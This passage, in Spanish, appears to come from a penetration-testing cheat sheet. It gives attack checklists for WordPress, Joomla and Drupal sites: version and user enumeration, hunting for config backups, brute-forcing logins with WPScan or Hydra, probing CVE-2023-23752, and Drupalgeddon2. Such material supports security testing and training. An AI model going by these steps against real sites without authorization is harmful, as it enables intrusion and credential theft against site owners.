- Verificar robots.txt y sitemap.xml
- Lanzar CMSeeK con el CMS detectado
🔵 WordPress — Checklist Completo
- Verificar versión de WordPress (readme.html, /wp-includes/version.php)
- Comprobar si xmlrpc.php está accesible (200 OK)
- Comprobar si la API REST está habilitada (/wp-json/wp/v2/)
- Enumerar usuarios via API REST, ?author=N y errores de login
- Buscar wp-config.php.bak, wp-config.php~, wp-config.old
- WPScan con token: --enumerate u,vp,vt,cb,dbe
- Verificar plugins instalados y sus versiones contra WPVulnDB
- Comprobar directory listing en /wp-content/uploads/
- Buscar debug.log en /wp-content/debug.log
- Gobuster con wordlist específica de WP
- Si hay usuarios → bruteforce con WPScan o Hydra
- Si hay plugin vulnerable → buscar PoC en Exploit-DB / GitHub
🔴 Joomla — Checklist
- Verificar versión (README.txt, /administrator/manifests/files/joomla.xml)
- Probar CVE-2023-23752 si versión < 4.2.8 (/api/index.php/v1/config/application?public=true)
- Comprobar configuration.php.bak
- Enumerar usuarios via feed RSS y errores de login
- JoomScan para componentes vulnerables
- Buscar componentes com_ en el HTML y verificar en Exploit-DB
- Acceder a /administrator/ y probar credenciales por defecto
🔷 Drupal — Checklist
- Verificar versión con /CHANGELOG.txt
- Si versión 7.x < 7.58 → Drupalgeddon2 (CVE-2018-7600)
Tabla de Referencia — Herramientas por CMS
| CMS | Herramienta principal | Complemento | CVE Base |
|---|---|---|---|
| WordPress | CMSeeK + WPScan | Gobuster, Hydra | wpscan.com/wordpresses |
| Joomla | CMSeeK + JoomScan | Nikto, searchsploit | cve.mitre.org |
| Drupal | CMSeeK + Droopescan | Metasploit, searchsploit | drupal.org/security |